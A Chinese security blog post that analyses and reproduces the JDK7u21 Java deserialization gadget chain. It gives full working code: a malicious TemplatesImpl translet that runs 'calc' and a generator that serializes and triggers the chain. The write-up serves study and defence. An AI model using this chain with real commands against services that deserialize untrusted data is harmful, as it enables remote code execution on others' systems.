原理分析
在JDK7U21这条链中首先内部下通过构造了两个对象,一个是恶意的TemplatesImpl对象,另外一个是一个Handler对象(AnnotationInvocationHandler),通过这个Handler生成了一个代理对象Proxy。
最外层使用的是一个LinkedHashSet,将恶意的TemplatesImpl对象以及代理对象添加到了这个Set中。
在反序列化还原的时候会触发LinkedHashSet的父类HashSet的readObject方法。
由于HashSet的缘故,还原的时候必然要将Set中的对象还原(readObject)并put到Set中。
这里由于是Set,只有键没有值,而在反序列化的时候Set的底层实际上使用的是Map,以我们插入的对象为键,值的话就是一个空对象占位。
而由于Set的特性:不会出现重复的成员,其底层的实现为遍历表中所有的已有KV键值对(Entry)与将要put进去的KV键值对(Entry)的进行Key的hash比较以及值比较,之所以值进行Key的比较是因为Set只需要Key这部分关键信息,值只是一个空对象占位(PRESENT):
put(key,value){
....
if(e.hash==hash(key)&&(k=e.key)==key||key.equals(k)){
// 如果校验通过则代表hash表中已有该键
// 对该键对应的值进行更新
}
}
注意这里会调用key.equals(k),既然所有KV都要put进去,那么我们的代理对象proxy也必然会进行put操作,put的时候key就反序列化还原的代理对象,而此时执行key.equals(k),由于key是代理对象,将会触发其对应的Handler的invoke方法,也就是AnnotationInvocationHandler#invoke方法,至于这里的k对象由于是遍历所有的kv键值对进行比较,而这里的k是每一次遍历到的kv键值对的key,结合前面Set特性可知在遍历过程中k必然会在某个时候是前面添加进去的恶意TemplatesImpl对象,也就导致触发AnnotationInvocationHandler#invoke(EvilTemplatesImplObject)
而AnnotationInvocationHandler#invoke方法逻辑如下:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
......
......
}
在开头部分有一个判断,当我们调用的是代理对象的equals方法的时候会进行特殊处理:以参数列表中第一个对象作为参数发起对sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法的调用,结合前面分析刚好我们调用的方法就是equals方法,也就是代表会执行sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl(EvilTemplatesImpl)
在sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法中会遍历调用Handler对象的所有type成员的所有方法,这里的type成员即被代理的类,而我们前面设置的是Templates,故这里会调用Templates的所有方法,并且以传入的恶意TemplatesImpl对象作为方法所属对象实例(method.invoke(EvilTemplatesImpl)),进而触发emplatesImpl#getOutputProperties方法触发反序列化恶意链导致命令执行。
总览整个过程我们面临的一个问题就是:如何解决两个不同对象实例Key的Hash值一样?【e.hash == hash && ((k = e.key) == key】
当执行到put(proxy)的时候,map里实际上已经有第一个EvilTemplatesImpl,这里的 hash 就是proxy.hashCode,e.hash就是 templates.hashCode,也就是需要达成proxy.hashCode() == EvilTemplatesImpl.hashCode()这个条件。
templates.hashCode()比较好说,这个类没有重写,调用的是默认的 hashCode 方法。
当调用proxy.hashCode()的时候,则会跳到AnnotationInvocationHandler.invoke()方法,再来看一下这个方法是如何处理 hashCode() 方法的。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
当调用hashCode方法的时候会返回this.hashCodeImpl(),即
private int hashCodeImpl() {
int var1 = 0;
Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCodevar3.getValue())) {
var3 = (Map.Entry)var2.next();
}
return var1;
}
该方法会从memberValues中进行遍历,并且依次计算key.hashCode(),而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的参数2(Map)
// 创建一个新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); // 没有这行也OK
// 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
// 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// Handler对象
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
...
map.put(zeroHashCodeStr, templates);
这个 map 的 key 就是我们设置的特殊字符串:f5a5a608,这个字符串的 hashCode 是0。整个看起来很长的循环,实际上也就变成了
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
var1 += 127 * (0 ^ memberValueHashCode(var3.getValue())
而这里就是我们构造的EvilTemplatesImpl。整个 hash 计算就变成了EvilTemplatesImpl.hashCode(),所以proxy.hashCode() == EvilTemplatesImpl.hashCode()也就成立
第二个条件e.key == key是很明显的不同的,一个是templates,另一个是proxy,所以这个条件是false,最终会调用到equals方法。
map.put("f5a5a608", templates);
复现测试
恶意类代码
由于使用的是Templates链,所以需要继承AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
javac Calc.java // 生成恶意字节码文件,注意使用的javac所属Java版本
JDK7U21
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
public class JDK7U21 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException {
// 生成恶意的templates,想办法触发templates.getOutputProperties();方法
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Calc");
String zeroHashCodeStr = "f5a5a608";
// 创建一个新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
// 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// 创建代理
// 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7U21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // 存储了恶意java字节码数据的TemplatesImpl类对象
set.add(proxy); // 代理了Templates接口的对象
map.put(zeroHashCodeStr, templates);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\Review\Calc\Calc.class"));
byte[][] bytes = {code};
bytecodesField.set(templates, bytes);
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(set);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
// destruct
objectInputStream.close();
byteArrayInputStream.close();
byteArrayOutputStream.close();
}
}
总结
原理分析部分由于最开始就sublime随笔记得,没图,且忘记记录参考文章,总之参考了好几篇(毕竟个人菜狗一个)。 - Sublime小说手
原文始发于微信公众号(安全之道):JDK7u21反序列化链
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论